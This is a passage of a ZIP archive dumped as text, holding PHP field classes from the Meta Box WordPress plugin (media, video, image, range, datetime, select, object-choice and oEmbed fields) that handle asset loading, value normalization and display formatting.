		if ( empty( $attachments ) ) {
			unset( $attributes['value'] );
		}

		return $attributes;
	}

	protected static function get_mime_extensions() : array {
		$mime_types = wp_get_mime_types();
		$extensions = [];
		foreach ( $mime_types as $ext => $mime ) {
			$ext                 = explode( '|', $ext );
			$extensions[ $mime ] = $ext;

			$mime_parts = explode( '/', $mime );
			if ( empty( $extensions[ $mime_parts[0] ] ) ) {
				$extensions[ $mime_parts[0] ] = [];
			}
			$extensions[ $mime_parts[0] ]        = array_merge( $extensions[ $mime_parts[0] ], $ext );
			$extensions[ $mime_parts[0] . '/*' ] = $extensions[ $mime_parts[0] ];
		}

		return $extensions;
	}

	/**
	 * Get meta values to save.
	 *
	 * @param mixed $new     The submitted meta value.
	 * @param mixed $old     The existing meta value.
	 * @param int   $post_id The post ID.
	 * @param array $field   The field parameters.
	 *
	 * @return array
	 */
	public static function value( $new, $old, $post_id, $field ) {
		$new = wp_parse_id_list( $new );

		if ( empty( $new ) ) {
			return [];
		}

		// Attach the uploaded images to the post if needed.
		global $wpdb;
		$ids = implode( ',', $new );
		$wpdb->query( $wpdb->prepare( "UPDATE $wpdb->posts SET post_parent=%d WHERE post_parent=0 AND ID IN ($ids)", $post_id ) );

		return $new;
	}

	/**
	 * Save meta value.
	 *
	 * @param mixed $new     The submitted meta value.
	 * @param mixed $old     The existing meta value.
	 * @param int   $post_id The post ID.
	 * @param array $field   The field parameters.
	 */
	public static function save( $new, $old, $post_id, $field ) {
		if ( empty( $field['id'] ) || ! $field['save_field'] ) {
			return;
		}
		$storage = $field['storage'];
		$storage->delete( $post_id, $field['id'] );
		parent::save( $new, [], $post_id, $field );
	}

	/**
	 * Template for media item.
	 */
	public static function print_templates() {
		require RWMB_INC_DIR . 'templates/media.php';
	}
}
PK     N\k    /  inc/dashboard/lib/meta-box/inc/fields/video.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * Video field which uses WordPress media popup to upload and select video.
 */
class RWMB_Video_Field extends RWMB_Media_Field {
	public static function admin_enqueue_scripts() {
		parent::admin_enqueue_scripts();
		wp_enqueue_style( 'rwmb-video', RWMB_CSS_URL . 'video.css', [ 'rwmb-media' ], RWMB_VER );
		wp_style_add_data( 'rwmb-video', 'path', RWMB_CSS_DIR . 'video.css' );
		wp_enqueue_script( 'rwmb-video', RWMB_JS_URL . 'video.js', [ 'rwmb-media' ], RWMB_VER, true );
		RWMB_Helpers_Field::localize_script_once( 'rwmb-video', 'i18nRwmbVideo', [
			'extensions' => wp_get_video_extensions(),
		] );
	}

	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field Field parameters.
	 *
	 * @return array
	 */
	public static function normalize( $field ) {
		$field['mime_type'] = 'video';
		$field              = parent::normalize( $field );

		return $field;
	}

	/**
	 * Get uploaded file information.
	 *
	 * @param int   $file_id Attachment image ID (post ID). Required.
	 * @param array $args    Array of arguments (for size).
	 * @param array $field   Field settings.
	 *
	 * @return array|bool False if file not found. Array of image info on success.
	 */
	public static function file_info( $file_id, $args = [], $field = [] ) {
		if ( ! get_attached_file( $file_id ) ) {
			return false;
		}
		$attachment = get_post( $file_id );
		$url        = wp_get_attachment_url( $attachment->ID );
		$file_type  = wp_check_filetype( $url, wp_get_mime_types() );
		$data       = [
			'ID'          => $file_id,
			'src'         => $url,
			'type'        => $file_type['type'],
			'title'       => $attachment->post_title,
			'caption'     => $attachment->post_excerpt,
			'description' => $attachment->post_content,
		];

		$data['meta'] = [];
		$meta         = wp_get_attachment_metadata( $attachment->ID );
		if ( ! empty( $meta ) ) {
			foreach ( wp_get_attachment_id3_keys( $attachment ) as $key => $label ) {
				if ( ! empty( $meta[ $key ] ) ) {
					$data['meta'][ $key ] = $meta[ $key ];
				}
			}

			if ( ! empty( $meta['width'] ) && ! empty( $meta['height'] ) ) {
				$data['dimensions'] = [
					'width'  => $meta['width'],
					'height' => $meta['height'],
				];
			} else {
				$data['dimensions'] = [
					'width'  => 640,
					'height' => 360,
				];
			}
		}

		$thumb_id = get_post_thumbnail_id( $attachment->ID );
		if ( ! empty( $thumb_id ) ) {
			list( $src, $width, $height ) = wp_get_attachment_image_src( $thumb_id, 'full' );
			$data['image']                = compact( 'src', 'width', 'height' );
			list( $src, $width, $height ) = wp_get_attachment_image_src( $thumb_id, 'thumbnail' );
			$data['thumb']                = compact( 'src', 'width', 'height' );
		} else {
			$src           = wp_mime_type_icon( $attachment->ID );
			$width         = 48;
			$height        = 64;
			$data['image'] = compact( 'src', 'width', 'height' );
			$data['thumb'] = compact( 'src', 'width', 'height' );
		}

		return $data;
	}

	/**
	 * Format value for a clone.
	 *
	 * @param array        $field   Field parameters.
	 * @param string|array $value   The field meta value.
	 * @param array        $args    Additional arguments. Rarely used. See specific fields for details.
	 * @param int|null     $post_id Post ID. null for current post. Optional.
	 *
	 * @return string
	 */
	public static function format_clone_value( $field, $value, $args, $post_id ) {
		$ids = implode( ',', wp_list_pluck( $value, 'ID' ) );

		// Display single video.
		if ( 1 === count( $value ) ) {
			$video = reset( $value );
			return wp_video_shortcode( [
				'src'    => $video['src'],
				'width'  => $video['dimensions']['width'],
				'height' => $video['dimensions']['height'],
			] );
		}

		// Display multiple videos in a playlist.
		return wp_playlist_shortcode( [
			'ids'  => $ids,
			'type' => 'video',
		] );
	}

	/**
	 * Template for media item.
	 */
	public static function print_templates() {
		parent::print_templates();
		require RWMB_INC_DIR . 'templates/video.php';
	}
}
PK     N\)_*    /  inc/dashboard/lib/meta-box/inc/fields/image.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The image field which uploads images via HTML <input type="file">.
 */
class RWMB_Image_Field extends RWMB_File_Field {
	public static function admin_enqueue_scripts() {
		parent::admin_enqueue_scripts();
		wp_enqueue_media();
		wp_enqueue_style( 'rwmb-image', RWMB_CSS_URL . 'image.css', [], RWMB_VER );
		wp_style_add_data( 'rwmb-image', 'path', RWMB_CSS_DIR . 'image.css' );
	}

	/**
	 * Get HTML for uploaded file.
	 *
	 * @param int   $file  Attachment (file) ID.
	 * @param int   $index File index.
	 * @param array $field Field data.
	 *
	 * @return string
	 */
	protected static function file_html( $file, $index, $field ) {
		$attributes = self::get_attributes( $field, $file );

		$edit_link = get_edit_post_link( $file );
		if ( $edit_link ) {
			$edit_link = sprintf( '<a href="%s" class="rwmb-image-edit" target="_blank"><span class="dashicons dashicons-edit"></span></a>', $edit_link );
		}

		$attachment_image = is_numeric( $file ) ? wp_get_attachment_image( $file, $field['image_size'] ) : '<img width="150" height="150" src="' . esc_url( $file ) . '" alt="" />';

		return sprintf(
			'<li class="rwmb-image-item">
				<div class="rwmb-file-icon">%s</div>
				<div class="rwmb-image-overlay"></div>
				<div class="rwmb-image-actions">
					%s
					<a href="#" class="rwmb-image-delete rwmb-file-delete" data-attachment_id="%s"><span class="dashicons dashicons-no-alt"></span></a>
				</div>
				<input type="hidden" name="%s[%s]" value="%s">
			</li>',
			$attachment_image,
			$edit_link,
			esc_attr( $file ),
			esc_attr( $attributes['name'] ),
			esc_attr( $index ),
			esc_attr( $file )
		);
	}

	/**
	 * Normalize field settings.
	 *
	 * @param array $field Field settings.
	 *
	 * @return array
	 */
	public static function normalize( $field ) {
		$field               = parent::normalize( $field );
		$field               = wp_parse_args( $field, [ 'image_size' => 'thumbnail' ] );
		$field['attributes'] = wp_parse_args( $field['attributes'], [ 'accept' => 'image/*' ] );

		return $field;
	}

	/**
	 * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary.
	 *
	 * @param array    $field   Field parameters.
	 * @param array    $value   The value.
	 * @param array    $args    Additional arguments. Rarely used. See specific fields for details.
	 * @param int|null $post_id Post ID. null for current post. Optional.
	 *
	 * @return string
	 */
	public static function format_single_value( $field, $value, $args, $post_id ) {
		$output = sprintf( '<img src="%s" alt="%s">', esc_url( $value['url'] ), esc_attr( $value['alt'] ) );

		// Link thumbnail to full size image?
		if ( ! empty( $args['link'] ) ) {
			$output = sprintf( '<a href="%s" title="%s">%s</a>', esc_url( $value['full_url'] ), esc_attr( $value['title'] ), $output );
		}
		return $output;
	}

	/**
	 * Get uploaded file information.
	 *
	 * @param int   $file  Attachment image ID (post ID). Required.
	 * @param array $args  Array of arguments (for size).
	 * @param array $field Field settings.
	 *
	 * @return array|bool False if file not found. Array of image info on success.
	 */
	public static function file_info( $file, $args = [], $field = [] ) {
		$path = get_attached_file( $file );
		if ( ! $path ) {
			return false;
		}

		$args  = wp_parse_args( $args, [ 'size' => 'thumbnail' ] );
		$image = wp_get_attachment_image_src( $file, $args['size'] );
		if ( ! $image ) {
			return false;
		}
		$attachment = get_post( $file );
		$info       = [
			'ID'          => $file,
			'name'        => basename( $path ),
			'path'        => $path,
			'url'         => $image[0],
			'full_url'    => wp_get_attachment_url( $file ),
			'title'       => $attachment->post_title,
			'caption'     => $attachment->post_excerpt,
			'description' => $attachment->post_content,
			'alt'         => get_post_meta( $file, '_wp_attachment_image_alt', true ),
		];
		if ( function_exists( 'wp_get_attachment_image_srcset' ) ) {
			$info['srcset'] = wp_get_attachment_image_srcset( $file, $args['size'] );
		}

		$info = wp_parse_args( $info, self::get_image_meta_data( $file ) );

		// Do not overwrite width and height by returned value of image meta.
		$info['width']  = $image[1];
		$info['height'] = $image[2];

		return $info;
	}

	/**
	 * Get image meta data.
	 *
	 * @param  int $attachment_id Attachment ID.
	 * @return array
	 */
	protected static function get_image_meta_data( $attachment_id ) {
		$metadata = wp_get_attachment_metadata( $attachment_id );
		if ( empty( $metadata['sizes'] ) ) {
			return $metadata;
		}

		$dir_url = dirname( wp_get_attachment_url( $attachment_id ) );
		foreach ( $metadata['sizes'] as &$size ) {
			$size['url'] = "{$dir_url}/{$size['file']}";
		}
		return $metadata;
	}
}
PK     N\Q    /  inc/dashboard/lib/meta-box/inc/fields/range.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The HTML5 range field.
 */
class RWMB_Range_Field extends RWMB_Number_Field {
	/**
	 * Get field HTML.
	 *
	 * @param mixed $meta  Meta value.
	 * @param array $field Field parameters.
	 * @return string
	 */
	public static function html( $meta, $field ) {
		return sprintf(
			'<div class="rwmb-range-inner">
				%s
				<span class="rwmb-range-output">%s</span>
			</div>',
			parent::html( $meta, $field ),
			$meta
		);
	}

	public static function admin_enqueue_scripts() {
		wp_enqueue_style( 'rwmb-range', RWMB_CSS_URL . 'range.css', [], RWMB_VER );
		wp_style_add_data( 'rwmb-range', 'path', RWMB_CSS_DIR . 'range.css' );
		wp_enqueue_script( 'rwmb-range', RWMB_JS_URL . 'range.js', [], RWMB_VER, true );
	}

	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field Field parameters.
	 * @return array
	 */
	public static function normalize( $field ) {
		$field = wp_parse_args( $field, [
			'max' => 10,
		] );
		$field = parent::normalize( $field );
		return $field;
	}

	/**
	 * Ensure number in range.
	 *
	 * @param mixed $new     The submitted meta value.
	 * @param mixed $old     The existing meta value.
	 * @param int   $post_id The post ID.
	 * @param array $field   The field parameters.
	 *
	 * @return int
	 */
	public static function value( $new, $old, $post_id, $field ) {
		$new = (float) $new;
		$min = (float) $field['min'];
		$max = (float) $field['max'];

		if ( $new < $min ) {
			return $min;
		}
		if ( $new > $max ) {
			return $max;
		}
		return $new;
	}
}
PK     N\2:'  :'  2  inc/dashboard/lib/meta-box/inc/fields/datetime.phpnu [        <?php
defined( 'ABSPATH' ) || die;

use MetaBox\Support\Arr;

/**
 * The date and time picker field which allows users to select both date and time via jQueryUI datetime picker.
 */
class RWMB_Datetime_Field extends RWMB_Input_Field {
	/**
	 * Translate date format from jQuery UI date picker to PHP date().
	 * It's used to store timestamp value of the field.
	 * Missing:  '!' => '', 'oo' => '', '@' => '', "''" => "'".
	 *
	 * @var array
	 */
	protected static $date_formats = [
		'd'  => 'j',
		'dd' => 'd',
		'oo' => 'z',
		'D'  => 'D',
		'DD' => 'l',
		'm'  => 'n',
		'mm' => 'm',
		'M'  => 'M',
		'MM' => 'F',
		'y'  => 'y',
		'yy' => 'Y',
		'o'  => 'z',
	];

	/**
	 * Translate time format from jQuery UI time picker to PHP date().
	 * It's used to store timestamp value of the field.
	 * Missing: 't' => '', T' => '', 'm' => '', 's' => ''.
	 *
	 * @var array
	 */
	protected static $time_formats = [
		'H'  => 'G',
		'HH' => 'H',
		'h'  => 'g',
		'hh' => 'h',
		'mm' => 'i',
		'ss' => 's',
		'l'  => 'u',
		'tt' => 'a',
		'TT' => 'A',
	];

	public static function register_assets() {
		// jQueryUI base theme: https://github.com/jquery/jquery-ui/tree/1.13.2/themes/base
		$url = RWMB_CSS_URL . 'jqueryui';
		wp_register_style( 'jquery-ui-core', "$url/core.css", [], '1.13.2' );
		wp_style_add_data( 'jquery-ui-core', 'path', RWMB_CSS_DIR . 'jqueryui/core.css' );

		wp_register_style( 'jquery-ui-theme', "$url/theme.css", [], '1.13.2' );
		wp_style_add_data( 'jquery-ui-theme', 'path', RWMB_CSS_DIR . 'jqueryui/theme.css' );

		wp_register_style( 'jquery-ui-datepicker', "$url/datepicker.css", [ 'jquery-ui-core', 'jquery-ui-theme' ], '1.13.2' );
		wp_style_add_data( 'jquery-ui-datepicker', 'path', RWMB_CSS_DIR . 'jqueryui/datepicker.css' );

		wp_register_style( 'jquery-ui-slider', "$url/slider.css", [ 'jquery-ui-core', 'jquery-ui-theme' ], '1.13.2' );
		wp_style_add_data( 'jquery-ui-slider', 'path', RWMB_CSS_DIR . 'jqueryui/slider.css' );

		// jQueryUI timepicker addon: https://github.com/trentrichardson/jQuery-Timepicker-Addon
		wp_register_style( 'jquery-ui-timepicker', "$url/jquery-ui-timepicker-addon.min.css", [ 'rwmb-date', 'jquery-ui-slider' ], '1.6.3' );
		wp_style_add_data( 'jquery-ui-timepicker', 'path', RWMB_CSS_DIR . 'jqueryui/jquery-ui-timepicker-addon.min.css' );

		wp_register_style( 'rwmb-date', RWMB_CSS_URL . 'date.css', [ 'jquery-ui-datepicker' ], RWMB_VER );
		wp_style_add_data( 'rwmb-date', 'path', RWMB_CSS_DIR . 'date.css' );

		// Scripts.
		$url = RWMB_JS_URL . 'jqueryui';
		wp_register_script( 'jquery-ui-timepicker', "$url/jquery-ui-timepicker-addon.min.js", [ 'jquery-ui-datepicker', 'jquery-ui-slider' ], '1.6.3', true );
		wp_register_script( 'jquery-ui-timepicker-slider', "$url/jquery-ui-sliderAccess.js", [ 'jquery-ui-datepicker', 'jquery-ui-slider' ], '0.3', true );
		wp_register_script( 'jquery-ui-timepicker-i18n', "$url/jquery-ui-timepicker-addon-i18n.min.js", [ 'jquery-ui-timepicker' ], '1.6.3', true );

		wp_register_script( 'rwmb-datetime', RWMB_JS_URL . 'datetime.js', [ 'jquery-ui-datepicker', 'jquery-ui-timepicker-i18n', 'underscore', 'jquery-ui-button', 'jquery-ui-timepicker-slider', 'rwmb' ], RWMB_VER, true );
		wp_register_script( 'rwmb-date', RWMB_JS_URL . 'date.js', [ 'jquery-ui-datepicker', 'underscore', 'rwmb' ], RWMB_VER, true );
		wp_register_script( 'rwmb-time', RWMB_JS_URL . 'time.js', [ 'jquery-ui-timepicker-i18n', 'jquery-ui-button', 'jquery-ui-timepicker-slider', 'rwmb' ], RWMB_VER, true );

		$handles      = [ 'datetime', 'time' ];
		$locale       = str_replace( '_', '-', get_locale() );
		$locale_short = substr( $locale, 0, 2 );
		$data         = [
			'locale'      => $locale,
			'localeShort' => $locale_short,
		];
		foreach ( $handles as $handle ) {
			RWMB_Helpers_Field::localize_script_once( "rwmb-$handle", 'RWMB_' . ucfirst( $handle ), $data );
		}
	}

	/**
	 * Enqueue scripts and styles.
	 */
	public static function admin_enqueue_scripts() {
		self::register_assets();
		wp_enqueue_style( 'jquery-ui-timepicker' );
		wp_enqueue_script( 'rwmb-datetime' );
	}

	/**
	 * Get field HTML.
	 *
	 * @param mixed $meta  The field meta value.
	 * @param array $field The field parameters.
	 *
	 * @return string
	 */
	public static function html( $meta, $field ) {
		$output = '';

		if ( $field['timestamp'] ) {
			$name      = $field['field_name'];
			$field     = wp_parse_args( [ 'field_name' => $name . '[formatted]' ], $field );
			$timestamp = $meta['timestamp'] ?? 0;
			$output   .= sprintf(
				'<input type="hidden" name="%s" class="rwmb-datetime-timestamp" value="%s">',
				esc_attr( $name . '[timestamp]' ),
				(int) $timestamp
			);

			$meta = $meta['formatted'] ?? '';
		}

		$output .= parent::html( $meta, $field );

		if ( $field['inline'] ) {
			$output .= '<div class="rwmb-datetime-inline"></div>';
		}

		return $output;
	}

	/**
	 * Calculates the timestamp from the datetime string and returns it if $field['timestamp'] is set or the datetime string if not.
	 *
	 * @param mixed $new     The submitted meta value.
	 * @param mixed $old     The existing meta value.
	 * @param int   $post_id The post ID.
	 * @param array $field   The field parameters.
	 *
	 * @return string|int
	 */
	public static function value( $new, $old, $post_id, $field ) {
		if ( $field['timestamp'] ) {
			if ( is_array( $new ) ) {
				return $new['timestamp'];
			}
			if ( ! is_numeric( $new ) ) {
				return strtotime( $new );
			}
			return $new;
		}

		if ( $field['save_format'] ) {
			// Fix 'c' and 'r' formats not containing WordPress timezone.
			$timezone = in_array( $field['save_format'], [ 'c', 'r' ], true ) ? wp_timezone() : null;
			$date     = DateTimeImmutable::createFromFormat( $field['php_format'], $new, $timezone );
			return $date === false ? $new : $date->format( $field['save_format'] );
		}

		return $new;
	}

	/**
	 * Get meta value.
	 *
	 * @param int   $post_id The post ID.
	 * @param bool  $saved   Whether the meta box is saved at least once.
	 * @param array $field   The field parameters.
	 *
	 * @return mixed
	 */
	public static function meta( $post_id, $saved, $field ) {
		$meta = parent::meta( $post_id, $saved, $field );

		if ( $field['timestamp'] ) {
			return Arr::map( $meta, __CLASS__ . '::from_timestamp', $field );
		}

		if ( $field['save_format'] && $meta ) {
			return Arr::map( $meta, __CLASS__ . '::from_save_format', $field );
		}

		return $meta;
	}

	/**
	 * Format meta value if set 'timestamp'.
	 */
	public static function from_timestamp( $meta, array $field ): array {
		return [
			'timestamp' => $meta ?: null,
			'formatted' => $meta ? gmdate( $field['php_format'], intval( $meta ) ) : '',
		];
	}

	/**
	 * Transform meta value from save format to the JS format.
	 */
	public static function from_save_format( $meta, array $field ): string {
		$formats = array_merge(
			[
				$field['save_format'] => $field['save_format'],
			],
			[
				'c' => DateTimeInterface::ATOM,
				'r' => DateTimeInterface::RFC2822,
			]
		);
		$format  = $formats[ $field['save_format'] ];
		$date    = DateTimeImmutable::createFromFormat( $format, $meta );
		return false === $date ? $meta : $date->format( $field['php_format'] );
	}

	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field The field parameters.
	 * @return array
	 */
	public static function normalize( $field ) {
		$field = wp_parse_args( $field, [
			'timestamp'    => false,
			'inline'       => false,
			'js_options'   => [],
			'save_format'  => '',
			'autocomplete' => 'off',
		] );

		// Deprecate 'format', but keep it for backward compatible.
		// Use 'js_options' instead.
		$field['js_options'] = wp_parse_args( $field['js_options'], [
			'timeFormat'       => 'HH:mm',
			'separator'        => ' ',
			'dateFormat'       => $field['format'] ?? 'yy-mm-dd',
			'showButtonPanel'  => true,
			'changeYear'       => true,
			'yearRange'        => '-100:+100',
			'changeMonth'      => true,
			'oneLine'          => true,
			'controlType'      => 'select', // select or slider
			'addSliderAccess'  => true,
			'sliderAccessArgs' => [
				'touchonly' => true, // To show sliderAccess only on touch devices
			],
		] );

		if ( $field['inline'] ) {
			$field['js_options'] = wp_parse_args( $field['js_options'], [ 'altFieldTimeOnly' => false ] );
		}

		$field['php_format'] = static::get_php_format( $field['js_options'] );

		$field = parent::normalize( $field );

		return $field;
	}

	/**
	 * Get the attributes for a field.
	 *
	 * @param array $field The field parameters.
	 * @param mixed $value The meta value.
	 *
	 * @return array
	 */
	public static function get_attributes( $field, $value = null ) {
		$attributes         = parent::get_attributes( $field, $value );
		$attributes         = wp_parse_args( $attributes, [ 'data-options' => wp_json_encode( $field['js_options'] ) ] );
		$attributes['type'] = 'text';

		return $attributes;
	}

	/**
	 * Returns a date() compatible format string from the JavaScript format.
	 * @link http://www.php.net/manual/en/function.date.php
	 */
	protected static function get_php_format( array $js_options ): string {
		return strtr( $js_options['dateFormat'], self::$date_formats )
		. $js_options['separator']
		. strtr( $js_options['timeFormat'], self::$time_formats );
	}

	/**
	 * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary.
	 *
	 * @param array    $field   Field parameters.
	 * @param string   $value   The value.
	 * @param array    $args    Additional arguments. Rarely used. See specific fields for details.
	 * @param int|null $post_id Post ID. null for current post. Optional.
	 *
	 * @return string
	 */
	public static function format_single_value( $field, $value, $args, $post_id ) {
		if ( $field['timestamp'] ) {
			$value = self::from_timestamp( $value, $field );
		} else {
			$value = [
				'timestamp' => strtotime( $value ),
				'formatted' => $value,
			];
		}
		return empty( $args['format'] ) ? $value['formatted'] : gmdate( $args['format'], $value['timestamp'] );
	}
}
PK     N\|?<}  }  7  inc/dashboard/lib/meta-box/inc/fields/object-choice.phpnu [        <?php
defined( 'ABSPATH' ) || die;

use MetaBox\Support\Arr;

/**
 * The object choice class which allows users to select specific objects (post, user, taxonomy) in WordPress.
 */
abstract class RWMB_Object_Choice_Field extends RWMB_Choice_Field {
	/**
	 * Show field HTML.
	 * Populate field options before showing to make sure query is made only once.
	 *
	 * @param array $field   Field parameters.
	 * @param bool  $saved   Whether the meta box is saved at least once.
	 * @param int   $post_id Post ID.
	 */
	public static function show( array $field, bool $saved, $post_id = 0 ) {
		// Get unique saved IDs for ajax fields.
		$meta = static::meta( $post_id, $saved, $field );
		$meta = self::filter( 'field_meta', $meta, $field, $saved );
		$meta = Arr::flatten( (array) $meta );
		$meta = array_filter( wp_parse_id_list( $meta ) );
		sort( $meta );

		$field['options'] = static::query( $meta, $field );

		parent::show( $field, $saved, $post_id );
	}

	abstract public static function query( $meta, array $field ) : array;

	/**
	 * Get field HTML.
	 *
	 * @param mixed $meta  Meta value.
	 * @param array $field Field parameters.
	 * @return string
	 */
	public static function html( $meta, $field ) {
		$html = call_user_func( [ self::get_type_class( $field ), 'html' ], $meta, $field );

		if ( $field['add_new'] ) {
			$html .= static::add_new_form( $field );
		}

		return $html;
	}

	public static function add_new_form( array $field ): string {
		return '';
	}

	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field Field parameters.
	 *
	 * @return array
	 */
	public static function normalize( $field ) {
		$field = parent::normalize( $field );
		$field = wp_parse_args( $field, [
			'flatten'    => true,
			'query_args' => [],
			'field_type' => 'select_advanced',
			'add_new'    => false,
			'ajax'       => true,
		] );
		if ( 'select_advanced' !== $field['field_type'] ) {
			$field['ajax'] = false;
		}
		if ( 'checkbox_tree' === $field['field_type'] ) {
			$field['field_type'] = 'checkbox_list';
			$field['flatten']    = false;
		}
		if ( 'radio_list' === $field['field_type'] ) {
			$field['field_type'] = 'radio';
		}
		$field = call_user_func( [ self::get_type_class( $field ), 'normalize' ], $field );

		return $field;
	}

	/**
	 * Set ajax parameters.
	 *
	 * @param array $field Field settings.
	 */
	protected static function set_ajax_params( &$field ) {
		if ( ! $field['ajax'] ) {
			return;
		}

		if ( empty( $field['js_options']['ajax'] ) ) {
			$field['js_options']['ajax'] = [];
		}
		$field['js_options']['ajax']      = wp_parse_args(
			[
				'url' => admin_url( 'admin-ajax.php' ),
			],
			$field['js_options']['ajax']
		);
		$field['js_options']['ajax_data'] = [
			'field'    => [
				'id'         => $field['id'],
				'type'       => $field['type'],
				'query_args' => $field['query_args'],
			],
			'_wpnonce' => wp_create_nonce( 'query' ),
		];
	}

	/**
	 * Get the attributes for a field.
	 *
	 * @param array $field Field parameters.
	 * @param mixed $value Meta value.
	 *
	 * @return array
	 */
	public static function get_attributes( $field, $value = null ) {
		$attributes = call_user_func( [ self::get_type_class( $field ), 'get_attributes' ], $field, $value );
		if ( 'select_advanced' === $field['field_type'] ) {
			$attributes['class'] .= ' rwmb-select_advanced';
		} elseif ( 'select' === $field['field_type'] ) {
			$attributes['class'] .= ' rwmb-select';
		}
		return $attributes;
	}

	public static function admin_enqueue_scripts() {
		RWMB_Input_List_Field::admin_enqueue_scripts();
		RWMB_Select_Field::admin_enqueue_scripts();
		RWMB_Select_Tree_Field::admin_enqueue_scripts();
		RWMB_Select_Advanced_Field::admin_enqueue_scripts();

		// Field is the 1st param.
		$field = func_get_arg( 0 );
		if ( empty( $field['add_new'] ) ) {
			return;
		}

		wp_enqueue_style( 'rwmb-modal', RWMB_CSS_URL . 'modal.css', [], RWMB_VER );
		wp_style_add_data( 'rwmb-modal', 'path', RWMB_CSS_DIR . 'modal.css' );
		wp_enqueue_script( 'rwmb-modal', RWMB_JS_URL . 'modal.js', [ 'jquery' ], RWMB_VER, true );

		$type = $field['type'] === 'taxonomy_advanced' ? 'taxonomy' : $field['type'];
		wp_enqueue_script( "rwmb-$type", RWMB_JS_URL . "$type.js", [ 'jquery', 'rwmb-modal' ], RWMB_VER, true );
	}

	/**
	 * Get correct rendering class for the field.
	 */
	protected static function get_type_class( array $field ) : string {
		return RWMB_Helpers_Field::get_class( [ 'type' => $field['field_type'] ] );
	}
}
PK     N\ZEV	  	  0  inc/dashboard/lib/meta-box/inc/fields/select.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The select field.
 */
class RWMB_Select_Field extends RWMB_Choice_Field {
	public static function admin_enqueue_scripts() {
		wp_enqueue_style( 'rwmb-select', RWMB_CSS_URL . 'select.css', [], RWMB_VER );
		wp_style_add_data( 'rwmb-select', 'path', RWMB_CSS_DIR . 'select.css' );
		wp_enqueue_script( 'rwmb-select', RWMB_JS_URL . 'select.js', [ 'jquery' ], RWMB_VER, true );
	}

	/**
	 * Get field HTML.
	 *
	 * @param mixed $meta  Meta value.
	 * @param array $field Field parameters.
	 * @return string
	 */
	public static function html( $meta, $field ) {
		$options                     = self::transform_options( $field['options'] );
		$attributes                  = self::call( 'get_attributes', $field, $meta );
		$attributes['data-selected'] = $meta;
		$walker                      = new RWMB_Walker_Select( $field, $meta );
		$output                      = sprintf(
			'<select %s>',
			self::render_attributes( $attributes )
		);
		if ( ! $field['multiple'] && $field['placeholder'] ) {
			$output .= '<option value="">' . esc_html( $field['placeholder'] ) . '</option>';
		}
		$output .= $walker->walk( $options, $field['flatten'] ? -1 : 0 );
		$output .= '</select>';
		$output .= self::get_select_all_html( $field );
		return $output;
	}

	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field Field parameters.
	 * @return array
	 */
	public static function normalize( $field ) {
		$field = parent::normalize( $field );
		$field = $field['multiple'] ? RWMB_Multiple_Values_Field::normalize( $field ) : $field;
		$field = wp_parse_args( $field, [
			'select_all_none' => false,
		] );

		return $field;
	}

	/**
	 * Get the attributes for a field.
	 *
	 * @param array $field Field parameters.
	 * @param mixed $value Meta value.
	 *
	 * @return array
	 */
	public static function get_attributes( $field, $value = null ) {
		$attributes = parent::get_attributes( $field, $value );
		$attributes = wp_parse_args( $attributes, [
			'multiple' => $field['multiple'],
		] );

		return $attributes;
	}

	/**
	 * Get html for select all|none for multiple select.
	 *
	 * @param array $field Field parameters.
	 * @return string
	 */
	public static function get_select_all_html( $field ) {
		if ( $field['multiple'] && $field['select_all_none'] ) {
			return '<div class="rwmb-select-all-none">' . __( 'Select', 'meta-box' ) . ': <a data-type="all" href="#">' . __( 'All', 'meta-box' ) . '</a> | <a data-type="none" href="#">' . __( 'None', 'meta-box' ) . '</a></div>';
		}
		return '';
	}
}
PK     N\$Ź/  /  0  inc/dashboard/lib/meta-box/inc/fields/oembed.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The oEmbed field which allows users to enter oEmbed URLs.
 */
class RWMB_OEmbed_Field extends RWMB_Input_Field {
	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field Field parameters.
	 * @return array
	 */
	public static function normalize( $field ) {
		$field = parent::normalize( $field );

		$field               = wp_parse_args( $field, [
			'not_available_string' => __( 'Embed HTML not available.', 'meta-box' ),
		] );
		$field['attributes'] = wp_parse_args( $field['attributes'], [
			'data-not-available' => $field['not_available_string'],
		] );

		return $field;
	}

	public static function admin_enqueue_scripts() {
		wp_enqueue_style( 'rwmb-oembed', RWMB_CSS_URL . 'oembed.css', [], RWMB_VER );
		wp_style_add_data( 'rwmb-oembed', 'path', RWMB_CSS_DIR . 'oembed.css' );
		wp_enqueue_script( 'rwmb-oembed', RWMB_JS_URL . 'oembed.js', [ 'jquery', 'underscore', 'rwmb' ], RWMB_VER, true );
		wp_localize_script( 'rwmb-oembed', 'rwmbOembed', [
			'nonce' => wp_create_nonce( 'oembed_get' ),
		] );
	}

	public static function add_actions() {
		add_action( 'wp_ajax_rwmb_get_embed', [ __CLASS__, 'ajax_get_embed' ] );
	}

	public static function ajax_get_embed() {
		check_ajax_referer( 'oembed_get' );

		$request       = rwmb_request();
		$url           = (string) $request->filter_post( 'url', FILTER_SANITIZE_URL );
		$not_available = (string) $request->post( 'not_available' );
		wp_send_json_success( self::get_embed( $url, $not_available ) );
	}

	/**
	 * Get embed html from url.
	 *
	 * @param string $url           URL.
	 * @param string $not_available Not available string displayed to users.
	 * @return string
	 */
	public static function get_embed( $url, $not_available = '' ) {
		/**
		 * Set arguments for getting embeded HTML.
		 * Without arguments, default width will be taken from global $content_width, which can break UI in the admin.
		 *
		 * @link https://github.com/rilwis/meta-box/issues/801
		 * @see  WP_oEmbed::fetch()
		 * @see  WP_Embed::shortcode()
		 * @see  wp_embed_defaults()
		 */
		$args = [];
		if ( is_admin() ) {
			$args['width'] = 360;
		}

		// Try oembed first.
		$embed = wp_oembed_get( $url, $args );

		// If no oembed provides found, try WordPress auto embed.
		if ( ! $embed ) {
			global $wp_embed;
			$temp                           = $wp_embed->return_false_on_fail;
			$wp_embed->return_false_on_fail = true; // Do not fallback to make a link.
			$embed                          = $wp_embed->shortcode( $args, $url );
